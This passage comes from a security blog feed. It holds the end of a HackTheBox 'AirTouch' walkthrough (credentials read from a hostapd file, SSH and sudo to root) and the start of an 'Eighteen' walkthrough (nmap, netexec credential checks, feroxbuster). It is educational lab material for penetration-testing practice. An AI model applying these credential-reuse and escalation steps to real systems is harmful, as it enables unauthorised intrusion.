<span class="go">hostapd_wpe.conf.tmp  hostapd_wpe.eap_user  hostapd_wpe2.conf.tmp  ifupdown.sh
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">hostapd_wpe.eap_user</code> is where the credentials for the various users are stored:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">remote@AirTouch-AP-MGT:/etc/hostapd$</span><span class="w"> </span><span class="nb">cat </span>hostapd_wpe.eap_user | <span class="nb">grep</span> <span class="nt">-v</span> <span class="s1">'^#'</span> | <span class="nb">grep</span> <span class="nb">.</span>
<span class="go">*               PEAP,TTLS,TLS,FAST
*       PEAP,TTLS,TLS,FAST [ver=1]
"AirTouch\r4ulcl"                           MSCHAPV2            "laboratory" [2]
"admin"                                 MSCHAPV2                "xMJpzXt4D9ouMuL3JJsMriF7KZozm7" [2]
</span></code></pre></div></div>

<p>Here is where r4ulcl has their password set to “laboratory”. There’s also a password for admin.</p>

<h3 id="escalation">Escalation</h3>

<h4 id="shell-as-admin">Shell as admin</h4>

<p>The password works for the admin user’s local account as well:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">remote@AirTouch-AP-MGT:/etc/hostapd$</span><span class="w"> </span>su - admin
<span class="go">Password: 
To run a command as administrator (user "root"), use "sudo &lt;command&gt;".
See "man sudo_root" for details.

</span><span class="gp">admin@AirTouch-AP-MGT:~$</span><span class="w">
</span></code></pre></div></div>

<p>I can also SSH:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains sshpass <span class="nt">-p</span> xMJpzXt4D9ouMuL3JJsMriF7KZozm7 ssh admin@10.10.10.1
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  10.10.10.1:22  ...  OK
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
...[snip]...
To run a command as administrator (user "root"), use "sudo &lt;command&gt;".
See "man sudo_root" for details.

</span><span class="gp">admin@AirTouch-AP-MGT:~$</span><span class="w"> 
</span></code></pre></div></div>

<h4 id="sudo-2">sudo</h4>

<p>Both with <code class="language-plaintext highlighter-rouge">su</code> and <code class="language-plaintext highlighter-rouge">ssh</code> there’s a message saying to use the <code class="language-plaintext highlighter-rouge">sudo</code> command to run commands as root. admin can run any command as any user without a password:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">admin@AirTouch-AP-MGT:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">Matching Defaults entries for admin on AirTouch-AP-MGT:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on AirTouch-AP-MGT:
    (ALL) ALL
    (ALL) NOPASSWD: ALL
</span></code></pre></div></div>

<p>I’ll use <code class="language-plaintext highlighter-rouge">sudo -i</code> to get a shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">admin@AirTouch-AP-MGT:~$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-i</span>
<span class="gp">root@AirTouch-AP-MGT:~#</span><span class="w">
</span></code></pre></div></div>

<p>And read the flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@AirTouch-AP-MGT:~#</span><span class="w"> </span><span class="nb">cat </span>root.txt
<span class="go">29d0508a************************
</span></code></pre></div></div>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-airtouch" /><category term="pentest" /><category term="bug-bounty" /><category term="hackthebox" /><category term="htb-airtouch" /><category term="ctf" /><category term="nmap" /><category term="openssh" /><category term="nmap-udp" /><category term="masscan" /><category term="udpx" /><category term="snmp" /><category term="onesixtyone" /><category term="snmpwalk" /><category term="ubuntu" /><category term="sudo" /><category term="container" /><category term="docker" /><category term="wifi" /><category term="iwlist" /><category term="wpa2" /><category term="tkip" /><category term="ccmp" /><category term="wpa2-enterprise" /><category term="eaphammer" /><category term="airmon-ng" /><category term="aircrack-ng" /><category term="802-11" /><category term="airodump-ng" /><category term="wpa2-psk" /><category term="evil-twin" /><category term="rogue-ap" /><category term="aireplay-ng" /><category term="wifi-deauth" /><category term="wpa-handshake" /><category term="wpa-passphrase" /><category term="wpa-supplicant" /><category term="apache" /><category term="php" /><category term="burp" /><category term="burp-proxy" /><category term="socks" /><category term="feroxbuster" /><category term="upload" /><category term="wireshark" /><category term="cookies" /><category term="proxychains" /><category term="webshell" /><category term="php-webshell" /><category term="phtml" /><category term="credentials" /><category term="password-reuse" /><category term="eap" /><category term="802-1x" /><category term="eapol" /><category term="hashcat" /><category term="iw" /><category term="hostapd" /><summary type="html"><![CDATA[AirTouch simulates a wireless network environment. I’ll start by pulling a default password from SNMP to SSH as a consultant user inside a container with virtual wireless interfaces. From there, I’ll capture and crack a WPA2-PSK handshake to join the tablet network, then decrypt the captured traffic in WireShark to recover session cookies for a router management site. A client-side role cookie gates an admin upload feature, where I’ll bypass the PHP extension filter with a phtml file to get RCE. Hardcoded credentials in the source give me the next user, and sudo gets me root, where I find the CA and server certs for the corporate wireless network. I’ll use those with eaphammer to stand up an evil twin of AirTouch-Office and capture a PEAP-MSCHAPv2 challenge, which cracks to reveal a user’s password. That gets me onto the corporate network, where a hostapd eap_user file leaks an admin password, and sudo gets me to root.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/airtouch-cover.png" /><media:content medium="image" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/airtouch-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: Eighteen</title><link href="https://0xdf.gitlab.io/2026/04/11/htb-eighteen.html" rel="alternate" type="text/html" title="HTB: Eighteen" /><published>2026-04-11T13:45:00+00:00</published><updated>2026-04-11T13:45:00+00:00</updated><id>https://0xdf.gitlab.io/2026/04/11/htb-eighteen</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/04/11/htb-eighteen.html"><![CDATA[<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/eighteen-cover.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/eighteen-cover.png" alt="Eighteen" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Eighteen is a Windows Server 2025 assume-breach box starting with MSSQL credentials. I’ll use MSSQL login impersonation to access the financial planner database and recover a Werkzeug PBKDF2 hash for the web admin. After cracking the hash and spraying the password against domain users, I’ll get a WinRM shell. From there, I’ll identify that the domain is running at the Windows 2025 functional level and exploit Bad Successor, abusing the dMSA migration feature to create a delegated managed service account that inherits the Administrator’s group memberships, giving full domain admin access.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/805 -->

<div class="htb-card platform-htb">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/eighteen" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-eighteen.webp" />
          <img src="/icons/box-eighteen.png" alt="Eighteen" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/eighteen" target="_blank" class="htb-box-name">Eighteen</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Easy">
      Easy
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/1989007897116749847">15 Nov 2025</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">11 Apr 2026</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Windows.webp" /><img src="/icons/Windows.png" alt="Windows" /></picture>
          Windows
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      <div class="htb-card-row htb-card-green">
        <span class="htb-card-label">Rated Difficulty</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/eighteen-diff.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/eighteen-diff.png" alt="Rated difficulty for Eighteen" class="htb-diff-img" />
        </picture>
      </div>
      <div class="htb-card-row htb-card-green htb-card-tall">
        <span class="htb-card-label">Radar Graph</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/eighteen-radar.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/eighteen-radar.png" alt="Radar chart for Eighteen" class="htb-radar-img" />
        </picture>
      </div>
      
      
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M12.4256 10.0001C11.9254 10.0001 11.5003 9.81776 11.1502 9.45318C10.8 9.0886 10.625 8.64589 10.625 8.12505C10.625 7.60422 10.8 7.16151 11.1502 6.79693C11.5003 6.43235 11.9254 6.25005 12.4256 6.25005C12.9257 6.25005 13.3509 6.43235 13.701 6.79693C14.0511 7.16151 14.2262 7.60422 14.2262 8.12505C14.2262 8.64589 14.0511 9.0886 13.701 9.45318C13.3509 9.81776 12.9257 10.0001 12.4256 10.0001Z" fill="currentColor" /><path d="M8.82438 12.8126V12.5001C8.82438 12.3004 8.87648 12.1116 8.98068 11.9336C9.08488 11.7557 9.22868 11.606 9.41208 11.4844C9.87056 11.2067 10.3553 10.994 10.8662 10.8464C11.3772 10.6988 11.8961 10.6251 12.423 10.6251C12.9499 10.6251 13.4697 10.6988 13.9823 10.8464C14.495 10.994 14.9806 11.2067 15.4391 11.4844C15.6225 11.5973 15.7663 11.7448 15.8705 11.9271C15.9747 12.1094 16.0268 12.3004 16.0268 12.5001V12.8126C16.0268 13.0704 15.9386 13.2911 15.7622 13.4747C15.5857 13.6583 15.3737 13.7501 15.126 13.7501H9.72114C9.47342 13.7501 9.26203 13.6583 9.08697 13.4747C8.91191 13.2911 8.82438 13.0704 8.82438 12.8126Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">User</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:23:02</span></span><a href="https://app.hackthebox.com/users/267436" target="_blank" rel="noopener"><img alt="Embargo" src="https://www.hackthebox.com/badge/image/267436" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> Embargo</span></a><br /></div>
      </div>
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M10.7 13.5H9.3V12.1H10.7V13.5ZM10.7 10.7H9.3V6.5H10.7V10.7Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">Root</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:36:15</span></span><a href="https://app.hackthebox.com/users/1893875" target="_blank" rel="noopener"><img alt="ahos6" src="https://www.hackthebox.com/badge/image/1893875" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> ahos6</span></a><br /></div>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/389926" target="_blank" rel="noopener"><img alt="kavigihan" src="https://www.hackthebox.com/badge/image/389926" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> kavigihan</span></a><br />
      </div>
    </div>

    
    <div class="htb-scenario-section">
      <span class="htb-meta-label">Scenario</span>
      <div class="htb-scenario-box"><span class="htb-scenario-text">As is common in real life Windows penetration tests, you will start the Eighteen box with credentials for the following account:<br />kevin / iNa2we6haRj2gaw!</span></div>
    </div>
    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds three open TCP ports, HTTP (80), MSSQL (1433), and WinRM (5985):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.21.40
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-06 16:48 UTC
...[snip]...
Nmap scan report for 10.129.21.40
Host is up, received echo-reply ttl 127 (0.022s latency).
Scanned at 2026-04-06 16:48:19 UTC for 14s
Not shown: 65532 filtered tcp ports (no-response)
PORT     STATE SERVICE  REASON
80/tcp   open  http     syn-ack ttl 127
1433/tcp open  ms-sql-s syn-ack ttl 127
5985/tcp open  wsman    syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.40 seconds
           Raw packets sent: 131081 (5.768MB) | Rcvd: 14 (600B)
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p</span> 80,1433,5985 <span class="nt">-sCV</span> 10.129.21.40
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-06 16:48 UTC
Nmap scan report for 10.129.21.40
Host is up (0.022s latency).

PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://eighteen.htb/
|_http-server-header: Microsoft-IIS/10.0
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ssl-date: 2026-04-06T23:49:15+00:00; +7h00m01s from scanner time.
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-04-06T20:00:15
|_Not valid after:  2056-04-06T20:00:15
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m00s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.60 seconds
</span></code></pre></div></div>

<p>MSSQL and WinRM are both expected only on a <a href="/cheatsheets/os#windows-client--server">Windows Client / Server</a>.</p>

<p>The webserver is redirecting to <code class="language-plaintext highlighter-rouge">eighteen.htb</code>. I’ll bruteforce for subdomains that respond differently (<code class="language-plaintext highlighter-rouge">ffuf -u http://10.129.21.40 -H "Host: FUZZ.eighteen.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac</code>) but not find any. I’ll update my hosts file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>10.129.21.40 eighteen.htb
</code></pre></div></div>

<p>I’ll also re-scan with <code class="language-plaintext highlighter-rouge">nmap</code> using the hostname, but there’s nothing of note.</p>

<p>All of the ports show a TTL of 127, which matches the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Windows one hop away.</p>

<p><code class="language-plaintext highlighter-rouge">nmap</code> notes a clock skew. It doesn’t seem that UDP 123 is open, so I’ll need to find some other way than <code class="language-plaintext highlighter-rouge">ntpdate</code> to sync my clock with Eighteen before any actions that use Kerberos auth.</p>

<h3 id="initial-credentials">Initial Credentials</h3>

<p>HackTheBox provides the following scenario associated with Eighteen:</p>

<p><span class="htb-scenario-text">As is common in real life Windows penetration tests, you will start the Eighteen box with credentials for the following account:<br />kevin / iNa2we6haRj2gaw!</span></p>

<p>There’s no LDAP or SMB to test. WinRM does not work:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec winrm eighteen.htb <span class="nt">-u</span> kevin <span class="nt">-p</span> <span class="s1">'iNa2we6haRj2gaw!'</span>
<span class="netexec-protocol">WINRM </span><span class="go">      10.129.21.40    5985   DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb) 
</span><span class="netexec-protocol">WINRM </span><span class="go">      10.129.21.40    5985   DC01             </span><span class="netexec-logfail">[-]</span><span class="go"> eighteen.htb\kevin:iNa2we6haRj2gaw!
</span></code></pre></div></div>

<p>It doesn’t work as a domain account for MSSQL, but does work for a local MSSQL account:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec mssql eighteen.htb <span class="nt">-u</span> kevin <span class="nt">-p</span> <span class="s1">'iNa2we6haRj2gaw!'</span>
<span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             </span><span class="netexec-logfail">[-]</span><span class="go"> eighteen.htb\kevin:iNa2we6haRj2gaw! (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth')
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec mssql eighteen.htb <span class="nt">-u</span> kevin <span class="nt">-p</span> <span class="s1">'iNa2we6haRj2gaw!'</span> <span class="nt">--local-auth</span>
<span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
</span><span class="netexec-protocol">MSSQL </span><span class="go">      10.129.21.40    1433   DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> DC01\kevin:iNa2we6haRj2gaw!
</span></code></pre></div></div>

<p>Given that, I’ll want to prioritize:</p>

<ul>
  <li>HTTP</li>
  <li>MSSQL</li>
</ul>

<h3 id="website---tcp-80">Website - TCP 80</h3>

<h4 id="site">Site</h4>

<p>The site is a personal finance website:</p>

<div style="position: relative; min-height: 500px;">
    <picture>
        <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260406161143781.webp" />
        <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260406161143781.png" alt="image-20260406161143781" style="max-height: 500px; object-fit: cover; object-position: top; width: -webkit-fill-available; mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px)); -webkit-mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px));" class="include_image " />
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"><img src="/icons/expand.png" alt="expand" class="expand-contract" /></a>
</div>

<p>There’s a <code class="language-plaintext highlighter-rouge">/features</code> page that shows some features, as well as a login and registration page. The provided creds do not work to login. I’ll sign up for an account:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260406161313571.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260406161313571.png" alt="image-20260406161313571" class="include_image " />
</picture>

<p>Once I register and login, it leads to <code class="language-plaintext highlighter-rouge">/dashbard</code>:</p>

<div style="position: relative; min-height: 500px;">
    <picture>
        <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260406161401853.webp" />
        <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260406161401853.png" alt="image-20260406161401853" style="max-height: 500px; object-fit: cover; object-position: top; width: -webkit-fill-available; mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px)); -webkit-mask-image: linear-gradient(rgb(0, 0, 0), rgb(0,0,0) calc(100% - 100px), rgba(0,0,0,0) calc(100% - 20px));" class="include_image " />
    </picture>
    <a href="javascript:void(0)" onclick="click_expand_image(event)" style="position: absolute; bottom: 35px; right: 15px;" title="Click to expand for full content"><img src="/icons/expand.png" alt="expand" class="expand-contract" /></a>
</div>

<p>The link to “Admin” points to <code class="language-plaintext highlighter-rouge">/admin</code>, but going there just returns a redirect back to the dashboard:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260406161446454.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260406161446454.png" alt="image-20260406161446454" class="include_image " />
</picture>

<h4 id="tech-stack">Tech Stack</h4>

<p>The HTTP response headers show only IIS:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html; charset=utf-8</span>
<span class="na">Vary</span><span class="p">:</span> <span class="s">Cookie</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">Microsoft-IIS/10.0</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Tue, 07 Apr 2026 02:39:34 GMT</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">2253</span>
</code></pre></div></div>

<p>The 404 page is the <a href="/cheatsheets/404#flask">default Flask 404</a>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260406161908054.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260406161908054.png" alt="image-20260406161908054" class="include_image " />
</picture>

<h4 id="directory-brute-force">Directory Brute Force</h4>

<p>I’ll run <code class="language-plaintext highlighter-rouge">feroxbuster</code> against the site:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>feroxbuster <span class="nt">-u</span> http://eighteen.htb
<span class="go">
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://eighteen.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
</span><span class="feroxbuster-red">404</span><span class="go">      GET        5l       31w      207c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        5l       22w      189c http://eighteen.htb/logout =&gt; </span><span class="feroxbuster-yellow">http://eighteen.htb/</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET       66l      121w     1961c http://eighteen.htb/login
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        5l       22w      199c http://eighteen.htb/admin =&gt; </span><span class="feroxbuster-yellow">http://eighteen.htb/login</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET       76l      145w     2421c http://eighteen.htb/register
</span><span class="feroxbuster-green">200</span><span class="go">      GET       74l      156w     2253c http://eighteen.htb/
</span><span class="feroxbuster-green">200</span><span class="go">      GET      603l     1072w     9601c http://eighteen.htb/static/css/style.css
</span><span class="feroxbuster-green">200</span><span class="go">      GET       88l      203w     2822c http://eighteen.htb/features
</span><span class="feroxbuster-yellow">302</span><span class="go">      GET        5l       22w      199c http://eighteen.htb/dashboard =&gt; </span><span class="feroxbuster-yellow">http://eighteen.htb/login</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET       74l      156w     2253c http://eighteen.htb/%E2%80%8E
</span><span class="feroxbuster-green">200</span><span class="go">      GET       74l      156w     2253c http://eighteen.htb/%D7%99%D7%9D
</span><span class="feroxbuster-green">200</span><span class="go">      GET       74l      156w     2253c http://eighteen.htb/%E9%99%A4%E6%8A%95%E7%A5%A8
</span><span class="feroxbuster-green">200</span><span class="go">      GET       74l      156w     2253c http://eighteen.htb/%E9%99%A4%E5%80%99%E9%80%89
</span><span class="feroxbuster-green">200</span><span class="go">      GET       74l      156w     2253c http://eighteen.htb/%E4%BE%B5%E6%9D%83
</span><span class="feroxbuster-red">400</span><span class="go">      GET        6l       26w      324c http://eighteen.htb/error%1F_log
</span><span class="feroxbuster-green">200</span><span class="go">      GET       74l      156w     2253c http://eighteen.htb/%E8%AE%A8%E8%AE%BA
</span><span class="feroxbuster-green">200</span><span class="go">      GET       74l      156w     2253c http://eighteen.htb/%C4%BC
</span><span class="feroxbuster-green">200</span><span class="go">      GET       74l      156w     2253c http://eighteen.htb/%CC%A8%C4%BC
</span><span class="feroxbuster-green">200</span><span class="go">      GET       74l      156w     2253c http://eighteen.htb/%E7%89%B9%E6%AE%8A
</span><span class="feroxbuster-green">200</span><span class="go">      GET       74l      156w     2253c http://eighteen.htb/%DD%BF%C4%BC
</span><span class="feroxbuster-green">200</span><span class="go">      GET       74l      156w     2253c http://eighteen.htb/%C5%B1%C4%BC
</span><span class="feroxbuster-green">200</span><span class="go">      GET       74l      156w     2253c http://eighteen.htb/%C4%A3%C4%BC
[</span><span class="feroxbuster-yellow">####################</span><span class="go">] - 34s    30006/30006   0s      </span><span class="feroxbuster-green">found</span><span class="go">:21      </span><span class="feroxbuster-red">errors</span><span class="go">:0      
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 34s    30000/30000   895/s   http://eighteen.htb/
</span></code></pre></div></div>

<p>Other than a bunch of stuff I’ve already interacted with, the only interesting thing is the URL-encoded paths.:</p>

<table>
  <thead>
    <tr>
      <th>Encoded URL</th>
      <th>Decoded</th>
      <th>Notes</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">%E2%80%8E</code></td>
      <td>U+200E (Left-to-Right Mark)</td>
      <td>Invisible Unicode control character</td>
    </tr>
    <tr>
